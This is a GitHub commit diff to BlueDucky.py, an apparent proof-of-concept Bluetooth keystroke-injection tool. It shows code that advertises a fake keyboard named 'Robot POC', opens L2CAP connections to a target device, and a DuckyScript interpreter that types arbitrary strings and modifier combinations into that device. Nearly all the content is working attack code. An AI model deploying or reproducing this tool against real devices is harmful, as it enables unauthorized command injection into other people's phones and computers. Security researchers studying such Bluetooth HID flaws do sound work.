Update BlueDucky.py

This commit is contained in:
Opabinia 2024-01-19 16:13:29 +13:00 committed by GitHub
parent 43af3d43da
commit 3ce22ff5e4
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 238 additions and 151 deletions

View File

@ -96,6 +96,27 @@ class PairingAgent:
log.error(f"Error terminating agent process: {e}")
raise
class L2CAPConnectionManager:
def __init__(self, target_address):
self.target_address = target_address
self.clients = {}
def create_connection(self, port):
client = L2CAPClient(self.target_address, port)
self.clients[port] = client
return client
def connect_all(self):
try:
return sum(client.connect() for client in self.clients.values())
except ConnectionFailureException as e:
log.error(f"Connection failure: {e}")
raise
def close_all(self):
for client in self.clients.values():
client.close()
class L2CAPClient:
def __init__(self, addr, port):
self.addr = addr
@ -103,20 +124,6 @@ class L2CAPClient:
self.connected = False
self.sock = None
def encode_combo_input(*args):
if not args:
return bytes([0xA1, 0x01] + [0] * 8) # Empty report for key release
# Filter out non-Key_Codes arguments and process
valid_args = [a for a in args if isinstance(a, Key_Codes)]
# Properly sum the values of modifiers
modifiers = sum(a.value for a in valid_args if a in Key_Codes.MODIFIERS)
keycodes = [a.value for a in valid_args if a not in Key_Codes.MODIFIERS]
keycodes += [0] * (6 - len(keycodes))
return bytes([0xA1, 0x01, modifiers, 0x00] + keycodes)
def encode_keyboard_input(*args):
keycodes = []
flags = 0
@ -142,7 +149,7 @@ class L2CAPClient:
return
log.debug(f"[TX-{self.port}] Attempting to send data: {binascii.hexlify(data).decode()}")
if self.attempt_send(data, 0.1):
if self.attempt_send(data, 0.001):
log.debug(f"[TX-{self.port}] Data sent successfully")
else:
log.error(f"[TX-{self.port}] ERROR! Timed out sending data")
@ -205,7 +212,7 @@ class L2CAPClient:
def send_keyboard_report(self, *args):
self.send(self.encode_keyboard_input(*args))
def send_keypress(self, *args, delay=0.05):
def send_keypress(self, *args, delay=0.01):
if args:
log.debug(f"Attempting to send... {args}")
self.send(self.encode_keyboard_input(*args))
@ -214,117 +221,194 @@ class L2CAPClient:
self.send(self.encode_keyboard_input())
time.sleep(delay)
def send_combination(self, *keys, delay=0.05):
"""
Send a combination of keys, which can include modifiers and regular keys.
"""
modifiers = 0
regular_keys = []
for key in keys:
if key in Key_Codes.MODIFIERS:
modifiers |= key.value
else:
regular_keys.append(key.value)
# Ensure that no more than 6 regular keys are sent
regular_keys = regular_keys[:6] + [0] * (6 - len(regular_keys))
# Create the HID report and send it
report = bytes([0xa1, 0x01, modifiers, 0x00] + regular_keys)
self.send(report)
def send_keyboard_combination(self, modifier, key, delay=0.01):
# Press the combination
press_report = self.encode_keyboard_input(modifier, key)
self.send(press_report)
time.sleep(delay) # Delay to simulate key press
# Release the combination
release_report = self.encode_keyboard_input()
self.send(release_report)
time.sleep(delay)
# Send an empty report to release the keys
self.send(self.encode_combo_input())
def process_duckyscript(client, duckyscript):
client.send_keypress('') # Send empty report
time.sleep(0.5)
class L2CAPConnectionManager:
def __init__(self, target_address):
self.target_address = target_address
self.clients = {}
shift_required_characters = "!@#$%^&*()_+{}|:\"<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def create_connection(self, port):
client = L2CAPClient(self.target_address, port)
self.clients[port] = client
return client
for line in duckyscript:
line = line.strip()
if not line or line.startswith("REM"):
continue
def connect_all(self):
try:
return sum(client.connect() for client in self.clients.values())
except ConnectionFailureException as e:
log.error(f"Connection failure: {e}")
raise
if line.startswith("STRING"):
text = line[7:]
for char in text:
try:
if char.isdigit():
key_code = getattr(Key_Codes, f"_{char}")
client.send_keypress(key_code)
elif char == " ":
client.send_keypress(Key_Codes.SPACE)
elif char == "[":
client.send_keypress(Key_Codes.LEFTBRACE)
elif char == "]":
client.send_keypress(Key_Codes.RIGHTBRACE)
elif char == ";":
client.send_keypress(Key_Codes.SEMICOLON)
elif char == "'":
client.send_keypress(Key_Codes.QUOTE)
elif char == "/":
client.send_keypress(Key_Codes.SLASH)
elif char == ".":
client.send_keypress(Key_Codes.DOT)
elif char == ",":
client.send_keypress(Key_Codes.COMMA)
elif char == "|":
client.send_keypress(Key_Codes.PIPE)
elif char == "-":
client.send_keypress(Key_Codes.MINUS)
elif char == "=":
client.send_keypress(Key_Codes.EQUAL)
elif char in shift_required_characters:
key_code_str = char_to_key_code(char)
if key_code_str:
key_code = getattr(Key_Codes, key_code_str)
client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code)
else:
log.warning(f"Unsupported character '{char}' in Duckyscript")
elif char.isalpha():
key_code = getattr(Key_Codes, char.lower())
if char.isupper():
client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code)
else:
client.send_keypress(key_code)
else:
key_code = char_to_key_code(char)
if key_code:
client.send_keypress(key_code)
else:
log.warning(f"Unsupported character '{char}' in Duckyscript")
def close_all(self):
for client in self.clients.values():
client.close()
client.send_keypress() # Release after each key press
except AttributeError as e:
log.warning(f"Attribute error: {e} - Unsupported character '{char}' in Duckyscript")
def terminate_child_processes():
for proc in child_processes:
if proc.is_alive():
proc.terminate()
proc.join()
elif any(mod in line for mod in ["SHIFT", "ALT", "CTRL", "GUI", "COMMAND", "WINDOWS"]):
# Process modifier key combinations
components = line.split()
if len(components) == 2:
modifier, key = components
try:
# Convert to appropriate enums
modifier_enum = getattr(Modifier_Codes, modifier.upper())
key_enum = getattr(Key_Codes, key.lower())
client.send_keyboard_combination(modifier_enum, key_enum)
log.debug(f"Sent combination: {line}")
except AttributeError:
log.warning(f"Unsupported combination: {line}")
else:
log.warning(f"Invalid combination format: {line}")
def setup_bluetooth(target_address):
restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=('hci0', target_address))
profile_proc.start()
child_processes.append(profile_proc)
adapter = Adapter('hci0')
adapter.set_property("name", "Robot POC")
adapter.set_property("class", 0x002540)
adapter.power(True)
return adapter
def char_to_key_code(char):
# Mapping for special characters that always require SHIFT
shift_char_map = {
'!': 'EXCLAMATION_MARK',
'@': 'AT_SYMBOL',
'#': 'HASHTAG',
'$': 'DOLLAR',
'%': 'PERCENT_SYMBOL',
'^': 'CARET_SYMBOL',
'&': 'AMPERSAND_SYMBOL',
'*': 'ASTERISK_SYMBOL',
'(': 'OPEN_PARENTHESIS',
')': 'CLOSE_PARENTHESIS',
'_': 'UNDERSCORE_SYMBOL',
'+': 'KEYPADPLUS',
'{': 'LEFTBRACE',
'}': 'RIGHTBRACE',
':': 'SEMICOLON',
'\\': 'BACKSLASH',
'"': 'QUOTE',
'<': 'COMMA',
'>': 'DOT',
'?': 'QUESTIONMARK',
'A': 'a',
'B': 'b',
'C': 'c',
'D': 'd',
'E': 'e',
'F': 'f',
'G': 'g',
'H': 'h',
'I': 'i',
'J': 'j',
'K': 'k',
'L': 'l',
'M': 'm',
'N': 'n',
'O': 'o',
'P': 'p',
'Q': 'q',
'R': 'r',
'S': 's',
'T': 't',
'U': 'u',
'V': 'v',
'W': 'w',
'X': 'x',
'Y': 'y',
'Z': 'z',
}
return shift_char_map.get(char)
# Key codes for modifier keys
class Modifier_Codes(Enum):
LEFTCONTROL = 0xe0
LEFTSHIFT = 0xe1
LEFTALT = 0xe2
LEFTGUI = 0xe3
RIGHTCONTROL = 0xe4
RIGHTSHIFT = 0xe5
RIGHTALT = 0xe6
RIGHTGUI = 0xe7
CTRL = 0x01
RIGHTCTRL = 0x10
# Convenience mappings for common names
CTRL = LEFTCONTROL
ALT = LEFTALT
SHIFT = LEFTSHIFT
GUI = LEFTGUI
SHIFT = 0x02
RIGHTSHIFT = 0x20
# Modifier Key Set for easy checking
MODIFIER_KEYS_SET = {Modifier_Codes.LEFTCONTROL, Modifier_Codes.LEFTSHIFT, Modifier_Codes.LEFTALT, Modifier_Codes.LEFTGUI,
Modifier_Codes.RIGHTCONTROL, Modifier_Codes.RIGHTSHIFT, Modifier_Codes.RIGHTALT, Modifier_Codes.RIGHTGUI}
ALT = 0x04
RIGHTALT = 0x40
GUI = 0x08
WINDOWS = 0x08
COMMAND = 0x08
RIGHTGUI = 0x80
class Key_Codes(Enum):
NONE = 0x00
A = 0x04
B = 0x05
C = 0x06
D = 0x07
E = 0x08
F = 0x09
G = 0x0a
H = 0x0b
I = 0x0c
J = 0x0d
K = 0x0e
L = 0x0f
M = 0x10
N = 0x11
O = 0x12
P = 0x13
Q = 0x14
R = 0x15
S = 0x16
T = 0x17
U = 0x18
V = 0x19
W = 0x1a
X = 0x1b
Y = 0x1c
Z = 0x1d
a = 0x04
b = 0x05
c = 0x06
d = 0x07
e = 0x08
f = 0x09
g = 0x0a
h = 0x0b
i = 0x0c
j = 0x0d
k = 0x0e
l = 0x0f
m = 0x10
n = 0x11
o = 0x12
p = 0x13
q = 0x14
r = 0x15
s = 0x16
t = 0x17
u = 0x18
v = 0x19
w = 0x1a
x = 0x1b
y = 0x1c
z = 0x1d
_1 = 0x1e
_2 = 0x1f
_3 = 0x20
@ -344,50 +428,53 @@ class Key_Codes(Enum):
EQUAL = 0x2e
LEFTBRACE = 0x2f
RIGHTBRACE = 0x30
BACKSLASH = 0x31
SEMICOLON = 0x33
QUOTE = 0x34
BACKTICK = 0x35
COMMA = 0x36
DOT = 0x37
SLASH = 0x38
CAPSLOCK = 0x39
VOLUME_UP = 0xed
VOLUME_DOWN = 0xee
SEMICOLON = 0x33
COMMA = 0x36
PERIOD = 0x37
SLASH = 0x38
PIPE = 0x31
BACKSLASH = 0x31
GRAVE = 0x35
APOSTROPHE = 0x34
LEFT_BRACKET = 0x2f
RIGHT_BRACKET = 0x30
DOT = 0x37
def process_duckyscript(client, duckyscript):
client.send_keypress('') # Send empty report
time.sleep(0.5)
# SHIFT KEY MAPPING
EXCLAMATION_MARK = 0x1e
AT_SYMBOL = 0x1f
HASHTAG = 0x20
DOLLAR = 0x21
PERCENT_SYMBOL = 0x22
CARET_SYMBOL = 0x23
AMPERSAND_SYMBOL = 0x24
ASTERISK_SYMBOL = 0x25
OPEN_PARENTHESIS = 0x26
CLOSE_PARENTHESIS = 0x27
UNDERSCORE_SYMBOL = 0x2d
QUOTE = 0x34
QUESTIONMARK = 0x38
KEYPADPLUS = 0x57
for line in duckyscript:
line = line.strip()
if not line or line.startswith("REM"):
continue # Skip empty lines and comments
def terminate_child_processes():
for proc in child_processes:
if proc.is_alive():
proc.terminate()
proc.join()
if line.startswith("STRING"):
text = line[7:]
for letter in text:
try:
# Use upper() to match the uppercase keys defined in Key_Codes
key_code = getattr(Key_Codes, letter.upper()) if letter != " " else Key_Codes.SPACE
client.send_keypress(key_code)
client.send_keypress()
time.sleep(0.05) # Add a small delay between keypresses
except AttributeError:
log.warning(f"Unsupported character '{letter}' in Duckyscript")
elif line.startswith("GUI"):
# Handle combination keys
components = line.split()
try:
# Use Modifier_Codes for modifier keys
modifier = getattr(Modifier_Codes, components[0].upper())
for key in components[1:]:
# Use Key_Codes for regular keys
key_code = getattr(Key_Codes, key.upper(), None)
if key_code:
client.send_combination(modifier, key_code)
client.send_combination() # Release keys
except AttributeError:
log.warning(f"Unsupported key or modifier in line: {line}")
def setup_bluetooth(target_address):
restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=('hci0', target_address))
profile_proc.start()
child_processes.append(profile_proc)
adapter = Adapter('hci0')
adapter.set_property("name", "Robot POC")
adapter.set_property("class", 0x002540)
adapter.power(True)
return adapter
def initialize_pairing(agent_iface, target_address):
try: